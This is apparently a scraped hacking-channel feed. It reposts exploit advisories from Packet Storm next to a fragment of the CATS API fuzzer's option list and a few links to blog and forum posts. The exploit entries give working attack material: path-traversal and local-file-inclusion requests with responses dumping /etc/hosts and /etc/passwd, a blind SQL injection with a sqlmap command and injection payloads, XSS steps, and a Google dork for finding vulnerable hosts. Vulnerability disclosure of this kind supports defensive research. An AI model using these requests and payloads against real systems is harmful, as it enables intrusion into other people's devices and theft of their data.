Javascript. This is useful in CI environments due to Javascript content security policies. Default is HTML_JSwhich includes some sorting and filtering capabilities.
* --useExamplesIf true(default value when not supplied) then CATS will use examples supplied in the OpenAPI contact. If falseCATS will rely only on generated values
* --checkFieldsIf supplied (no value needed), it will only run the Field Fuzzers
* --checkHeadersIf supplied (no value needed), it will only run the Header Fuzzers
* --checkHttpIf supplied (no value needed), it will only run the HTTP Fuzzers
* --includeWhitespacesIf supplied (no value needed), it will include the Whitespaces Fuzzers
* --includeEmojisIf supplied (no value needed), it will include the Emojis Fuzzers
* --includeControlCharsIf supplied (no value needed), it will include the ControlChars Fuzzers
* --includeContractIf supplied (no value needed), it will include ContractInfoFuzzers* --sslKeystoreLocation of the JKS keystore holding certificates used when authenticating calls using one-way or two-way SSL
* --sslKeystorePwdThe password of the sslKeystore* --sslKeyPwdThe password of the private key from the sslKeystore* --proxyHostThe proxy server's host name (if running behind proxy)
* --proxyPortThe proxy server's port number (if running behind proxy)
* --maxRequestsPerMinuteMaximum number of requests per minute; this is useful when APIs have rate limiting implemented; default is 10000
* --connectionTimeoutTime period in seconds which CATS should establish a connection with the server; default is 10 seconds
* --writeTimeoutMaximum time of inactivity in seconds between two data packets when sending the request to the server; default is 10 seconds
* --readTimeoutMaximum time of inactivity in seconds between two data packets when waiting for the server's response; default is 10 seconds
* --dryRunIf provided, it will simulate a run of the service with the supplied configuration. The run won't produce a report, but will show how many tests will be generated and run for each OpenAPI endpoint
* --ignoreResponseCodesHTTP_CODES_LIST a comma separated list of HTTP response codes that will be considered as SUCCESS, even if the Fuzzer will typically report it as WARN or ERROR. You can use response code families as 2xx, 4xx, etc. If provided, all Contract Fuzzers will be skipped.
* --ignoreResponseSizeSIZE_LIST a comma separated list of response sizes that will be considered as SUCCESS, even if the Fuzzer will typically report it as WARN or ERROR
* --ignoreResponseWordsCOUNT_LIST a comma separated list of words count in the response that will be considered as SUCCESS, even if the Fuzzer will typically report it as WARN or ERROR
* --ignoreResponseLinesLINES_COUNT a comma separated list of lines count in the response that will be considered as SUCCESS, even if the Fuzzer will typically report it as WARN or ERROR
* --ignoreResponseRegexa REGEX that will match against the response that will be considered as SUCCESS, even if the Fuzzer will typically report it as WARN or ERROR
* --testsTESTS_LIST a comma separated list of executed tests in JSON format from the cats-report folder. If you supply the list without the .json extension CATS will search the test in the cats-report folder
* --ignoreResponseCodeUndocumentedCheckIf supplied (not value needed) it won't check if the response code received from the service matches the value expected by the fuzzer and will return the test result as SUCCESS instead of WARN
* --ignoreResponseBodyCheckIf supplied (not value needed) it won't check if the response body rec[...]

___________________________
@hacking_Attack
@Hacking_Video

KitPloit - PenTest Tools!
CATS - REST API Fuzzer And Negative Testing Tool For OpenAPI Endpoints

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Genesys PureConnect Cross Site Scripting

https://3.bp.blogspot.com/-S_42fggy9lU/WWlvmFk_l6I/AAAAAAAAIRE/4fLLQglySPcuo1eoPxnOCfdodS4kW3PlwCLcBGAs/s1600/hack_img3.png
Genesys PureConnect as of their build on 08-October-2020 suffers from a cross site scripting vulnerability.

SHA-256 | 2232d00fcafe4584b543e46f696b904d45b43d8ecf53a41949a52a39eaffc149

Download
Product: Genesys PureConnect - Interaction Web Tools Chat Service
Description: Interaction Web Tools Chat Service allows XSS within the Printable Chat History via the participant -> name JSON POST parameter.
Vulnerability Type: XSS
Vendor of Product: Genesys PureConnect
Affected Product Code Base: Interaction Web Tools - Chat Service - Appears to be all versions up to current release
Affected Component: "Print" feature of the Interaction Web Tools Chat: https://help.genesys.com/pureconnect/mergedprojects/wh_tr/desktop/pdfs/web_tools_dg.pdf
Attack Vectors:

* To exploit the Cross-Site Scripting vulnerability, visit https://
* Then press 'Start Chat'
* Then enter anything in the chat box like 'asdfg' and press send
* Now select the 'Printable Chat History' in the top right corner
* XSS will trigger. You can google dork for vulnerable versions with inurl:"/I3Root/chatOrCallback.html"
I'm assuming if an admin tries to print the chat conversation, it will trigger for them as well. Unable to confirm though.

Discoverer: Jake Murphy - Echelon Risk + Cyber - https://echeloncyber.com/

> [References]
> http://genesys.com
> http://interaction.com


Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
WordPress GetYourGuide Ticketing 1.0.1 Cross Site Scripting

https://2.bp.blogspot.com/-x_QP5QrO-tY/WWlvkxoh72I/AAAAAAAAIQ4/t-2dHNJyeE0-qZNxsCg7sgdho_ipgPgbgCLcBGAs/s1600/h98.png
WordPress GetYourGuide Ticketing plugin version 1.0.1 suffers from a persistent cross site scripting vulnerability.

SHA-256 | dd8e52981b226511a35efc2482778941e5de97075699192860753ae706085694

Download
# *Exploit Title*: WordPress Plugin ‘GetYourGuide Ticketing’ - Stored
Cross-Site Scripting
# Date: 18-09-2022
# Exploit Author: Mariam Tariq - HunterSherlock
# Vendor Homepage:
https://wordpress.org/plugins/search/GetYourGuide+Ticketing/
# Version: 1.0.1
# Tested on: Firefox
# Contact me: mariamtariq404@gmail.com

# *Vulnerable code*:

``` ```

# *POC*:

1- Install the plugin ‘GetYourGuide Ticketing’ & activate it.
2- Navigate toward the GYG-Ticketing
3- Enter the XSS payload ` “>x `
4- Go to link builder to verify the XSS pop-up.

#* POC image*:

https://imgur.com/amrDhIt

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
SoX 14.4.2 Division-By-Zero / Denial Of Service

https://1.bp.blogspot.com/-nibhxYxL_dU/WWlvdqzVqgI/AAAAAAAAIPo/_mHlQijSxHEwrD5GdeVybD20bu3Iyyg_QCLcBGAs/s1600/h8.png
SoX versions 14.4.2 and below suffer from a division by zero attack when handling WAV files, resulting in denial of service vulnerability and possibly loss of data.

SHA-256 | de24687825a9cff7e5ad1404c4b0d0dc865d45066f152f4d7a7a508384aca180

Download
Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Owlfiles File Manager 12.0.1 Path Traversal / Local File Inclusion

https://3.bp.blogspot.com/-YTa6qox_ltk/WWlvNeWMUbI/AAAAAAAAIMc/0l9a_Kr-MFozVC5jeSwhLNgVZ9cZuXXlQCLcBGAs/s1600/h22.png Owlfiles File Manager version 12.0.1 suffers from local file inclusion and path traversal vulnerabilities.

SHA-256 | 5e1df728b64bebf1797218fca034b9eeed532e773c31131307d679d65b406b40Download # Exploit Title: Owlfiles File Manager 12.0.1 - multi vulnerabilities
# Date: Sep 19, 2022
# Exploit Author: Chokri Hammedi
# Vendor Homepage: https://www.skyjos.com/
# Software Link:
https://apps.apple.com/us/app/owlfiles-file-manager/id510282524
# Version: 12.0.1
# Tested on: Ios 16.0
###########
path traversal on HTTP built-in server
###########

GET /../../../../../../../../../../../../../../../System/ HTTP/1.1
Host: 192.168.8.101:8080
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 6_0 like Mac OS X)
AppleWebKit/536.26 (KHTML, like Gecko) Version/6.0 Mobile/10A5376e
Safari/8536.25
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
If-None-Match: 42638202/1663558201/177889085
If-Modified-Since: Mon, 19 Sep 2022 03:30:01 GMT
Connection: close
Content-Length: 0

-------
HTTP/1.1 200 OK
Cache-Control: max-age=3600, public
Content-Length: 317
Content-Type: text/html; charset=utf-8
Connection: Close
Server: GCDWebUploader
Date: Mon, 19 Sep 2022 05:01:11 GMT
* Cryptexes/

* DriverKit/

* Library/

* Applications/

* Developer/
#############
LFI on HTTP built-in server
#############

GET /../../../../../../../../../../../../../../../etc/hosts HTTP/1.1
Host: 192.168.8.101:8080
Accept: application/json, text/javascript, */*; q=0.01
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 6_0 like Mac OS X)
AppleWebKit/536.26 (KHTML, like Gecko) Version/6.0 Mobile/10A5376e
Safari/8536.25
X-Requested-With: XMLHttpRequest
Referer: http://192.168.8.101:8080/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close
----

HTTP/1.1 200 OK
Connection: Close
Server: GCDWebUploader
Content-Type: application/octet-stream
Last-Modified: Sat, 03 Sep 2022 01:37:01 GMT
Date: Mon, 19 Sep 2022 03:28:14 GMT
Content-Length: 213
Cache-Control: max-age=3600, public
Etag: 1152921500312187994/1662169021/0

##
# Host Database
#
# localhost is used to configure the loopback interface
# when the system is booting. Do not change this entry.
##
127.0.0.1 localhost
255.255.255.255 broadcasthost
::1 localhost
###############
path traversal on FTP built-in server
###############

ftp> cd ../../../../../../../../../
250 OK. Current directory is /../../../../../../../../../
ftp> ls
200 PORT command successful.
150 Accepted data connection
total 10
drwxr-xr-x 0 root wheel 256 Jan 01 1970 usr
drwxr-xr-x 0 root wheel 128 Jan 01 1970 bin
drwxr-xr-x 0 root wheel 608 Jan 01 1970 sbin
drwxr-xr-x 0 root wheel 224 Jan 01 1970 System
drwxr-xr-x 0 root wheel 640 Jan 01 1970 Library
drwxr-xr-x 0 root wheel 224 Jan 01 1970 private
drwxr-xr-x 0 root wheel 1131 Jan 01 1970 dev
drwxr-xr-x 0 root admin 4512 Jan 01 1970 Applications
drwxr-xr-x 0 root admin 64 Jan 01 1970 Developer
drwxr-xr-x 0 root admin 64 Jan 01 1970 cores
WARNING! 10 bare linefeeds received in ASCII mode
File may not have transferred correctly.
226 Transfer complete.
ftp>

#############
XSS on HTTP built-in server
#############

poc 1:

http://192.168.8.101:8080/download?path=

poc 2:

http://192.168.8.101:8080/list?path= Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
PhotoSync 4.7 Local File Inclusion

https://4.bp.blogspot.com/-Lnl-ZxRP9Iw/WWlvEVwqA2I/AAAAAAAAIK8/WG2BCM3S_lsUOouuCwhP5sp3j7hYzeO-wCLcBGAs/s1600/h133.png PhotoSync version 4.7 suffers from a local file inclusion vulnerability.

SHA-256 | f5e6b3cd183e91afacf647b3547160e0d93026087e059f1843c8761cd5e32985Download # Exploit Title: PhotoSync 4.7 IOS APP Local file inclusion
# Date: Sep 19, 2022
# Exploit Author: Chokri Hammedi
# Vendor Homepage: https://www.photosync-app.com/home.html
# Software Link:
https://apps.apple.com/us/app/photosync-transfer-photos/id415850124
# Version: 4.7
# Tested on: iPhone IOS 16.0
GET /../../../../../../../../../../../../../../../etc/passwd HTTP/1.1
Host: 192.168.8.101:8080
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 6_0 like Mac OS X)
AppleWebKit/536.26 (KHTML, like Gecko) Version/6.0 Mobile/10A5376e
Safari/8536.25
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close
-------

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2022 06:35:11 GMT
Accept-Ranges: bytes
Content-Length: 2791

##
# User Database
#
# This file is the authoritative user database.
##
nobody:*:-2:-2:Unprivileged User:/var/empty:/usr/bin/false
root:/smx7MYTQIi2M:0:0:System Administrator:/var/root:/bin/sh
mobile:/smx7MYTQIi2M:501:501:Mobile User:/var/mobile:/bin/sh
daemon:*:1:1:System Services:/var/root:/usr/bin/false
_ftp:*:98:-2:FTP Daemon:/var/empty:/usr/bin/false
_networkd:*:24:24:Network Services:/var/networkd:/usr/bin/false
_wireless:*:25:25:Wireless Services:/var/wireless:/usr/bin/false
_installd:*:33:33:Install Daemon:/var/installd:/usr/bin/false
_neagent:*:34:34:NEAgent:/var/empty:/usr/bin/false
_ifccd:*:35:35:ifccd:/var/empty:/usr/bin/false
_securityd:*:64:64:securityd:/var/empty:/usr/bin/false
_mdnsresponder:*:65:65:mDNSResponder:/var/empty:/usr/bin/false
_sshd:*:75:75:sshd Privilege separation:/var/empty:/usr/bin/false
_unknown:*:99:99:Unknown User:/var/empty:/usr/bin/false
_usbmuxd:*:213:213:iPhone OS Device Helper:/var/db/lockdown:/usr/bin/false
_distnote:*:241:241:Distributed Notifications:/var/empty:/usr/bin/false
_astris:*:245:245:Astris Services:/var/db/astris:/usr/bin/false
_ondemand:*:249:249:On Demand Resource
Daemon:/var/db/ondemand:/usr/bin/false
_findmydevice:*:254:254:Find My Device
Daemon:/var/db/findmydevice:/usr/bin/false
_datadetectors:*:257:257:DataDetectors:/var/db/datadetectors:/usr/bin/false
_captiveagent:*:258:258:captiveagent:/var/empty:/usr/bin/false
_analyticsd:*:263:263:Analytics Daemon:/var/db/analyticsd:/usr/bin/false
_timed:*:266:266:Time Sync Daemon:/var/db/timed:/usr/bin/false
_gpsd:*:267:267:GPS Daemon:/var/db/gpsd:/usr/bin/false
_reportmemoryexception:*:269:269:ReportMemoryException:/var/empty:/usr/bin/false
_driverkit:*:270:270:DriverKit:/var/empty:/usr/bin/false
_diskimagesiod:*:271:271:DiskImages IO
Daemon:/var/db/diskimagesiod:/usr/bin/false
_logd:*:272:272:Log Daemon:/var/db/diagnostics:/usr/bin/false
_iconservices:*:276:276:Icon services:/var/empty:/usr/bin/false
_rmd:*:277:277:Remote Management Daemon:/var/db/rmd:/usr/bin/false
_accessoryupdater:*:278:278:Accessory Update
Daemon:/var/db/accessoryupdater:/usr/bin/false
_knowledgegraphd:*:279:279:Knowledge Graph
Daemon:/var/db/knowledgegraphd:/usr/bin/false
_coreml:*:280:280:CoreML Services:/var/empty:/usr/bin/false
_sntpd:*:281:281:SNTP Server Daemon:/var/empty:/usr/bin/false
_trustd:*:282:282:trustd:/var/empty:/usr/bin/false
_mmaintenanced:*:283:283:mmaintenanced:/var/db/mmaintenanced:/usr/bin/false
_darwindaemon:*:284:284:Darwin Daemon:/var/db/darwindaemon:/usr/bin/false
_notification_proxy:*:285:285:Notification Proxy:/var/empty:/usr/bin/false
_backboardd:*:287:287:BackBoard:/var/empty:/usr/bin/false
_avphidbridge:*:288:288:Apple Virtual Platform HID
Bridge:/var/empty:/usr/bin/false
_launchservices:*:290:290:Launch Services:/var/empty:/usr/bin/false Source:packetstormsecurity.com

Exploit Collector
OpenCart 3.x Newsletter Custom Popup 4.0 SQL Injection

https://2.bp.blogspot.com/-y5QhCp_hFKM/WWlvahEOH0I/AAAAAAAAIPA/Q0VQ49Z0hVw4skegRDdSXm3Bk15Ptyg5wCLcBGAs/s1600/h70.png
OpenCart 3.x Newsletter Custom Popup module version 4.0 suffers from a remote blind SQL injection vulnerability.

SHA-256 | 4463bea9399b42e27cadceb696475f29a869f99cd0cfa6c5ded3a40898daf09c

Download
# Exploit Title: OpenCart v3.x So Newsletter Custom Popup Module - Blind SQL Injection
# Date: 18/09/2022
# Exploit Author: Saud Alenazi
# Vendor Homepage: https://www.opencart.com/
# Software Link: https://www.opencart.com/index.php?route=marketplace/extension/info&extension_id=40259&filter_search=newsletter&filter_license=1&sort=date_added
# Version: v.4.0
# Tested on: XAMPP, Linux
# Contact: https://twitter.com/dmaral3noz
* Description :

So Newsletter Custom Popup Module is compatible with any Opencart allows SQL Injection via parameter 'email' in index.php?route=extension/module/so_newletter_custom_popup/newsletter.
Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
* Steps to Reproduce :
- Go to : http://127.0.0.1/index.php?route=extension/module/so_newletter_custom_popup/newsletter
- Save request in BurpSuite
- Run saved request with : sqlmap -r sql.txt -p email --random-agent --level=5 --risk=3 --time-sec=5 --hex --dbs
Request :

===========

POST /index.php?route=extension/module/so_newletter_custom_popup/newsletter HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Cookie: OCSESSID=aaf920777d0aacdee96eb7eb50
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate
Content-Length: 29
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Connection: Keep-alive

createdate=2022-8-28%2019:4:6&email=hi&status=0
===========

Output :

Parameter: #1* ((custom) POST)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: createdate=2022-8-28 19:4:6&email=hi' AND 4805=4805-- nSeP&status=0

Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
Payload: createdate=2022-8-28 19:4:6&email=hi' AND (SELECT 4828 FROM(SELECT COUNT(*),CONCAT(0x7176627071,(SELECT (ELT(4828=4828,1))),0x7178786a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- sRQS&status=0

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

THE BUG OFTEN IGNORED: BLIND XSS
https://faiyazhacks.medium.com/the-bug-often-ignored-blind-xss-1c93fac528ca?source=rss------bug_bounty-5

___________________________
@hacking_Attack
@Hacking_Video

INTRODUCTIONContinue reading on Medium » (https://faiyazhacks.medium.com/the-bug-often-ignored-blind-xss-1c93fac528ca?source=rss------bug_bounty-5)

___________________________
@hacking_Attack
@Hacking_Video

Regarding pentest scoping
https://www.reddit.com/r/Pentesting/comments/xigbf9/regarding_pentest_scoping/

Hello Everyone, Just wondering if can provide some guidance about scoping. Our team was tasked to facilitate a pentest activity for one of our customers. Scoping and quotes have been approved already. However, I noticed and found out that some of the items may need to be change. Is it still possible to redo the scoping. IE, one internal address changed to external. Instead of a hosted website testing, found out it’s the specific web application hosted on that external host, but also found out address is dynamic. It’s our first time facilitating this type of activity and obviously it’s not going help. Any advice is greatly appreciated. Thanks in advance. submitted by /u/g-lair (https://www.reddit.com/user/g-lair)
[link] (https://www.reddit.com/r/Pentesting/comments/xigbf9/regarding_pentest_scoping/) [comments] (https://www.reddit.com/r/Pentesting/comments/xigbf9/regarding_pentest_scoping/)

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
5 m hack — docker commands on AzureVM without sudo

Have you been frustrated with having to prefix every docker command on an AzureVM with sudo. Else, the dreaded:

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video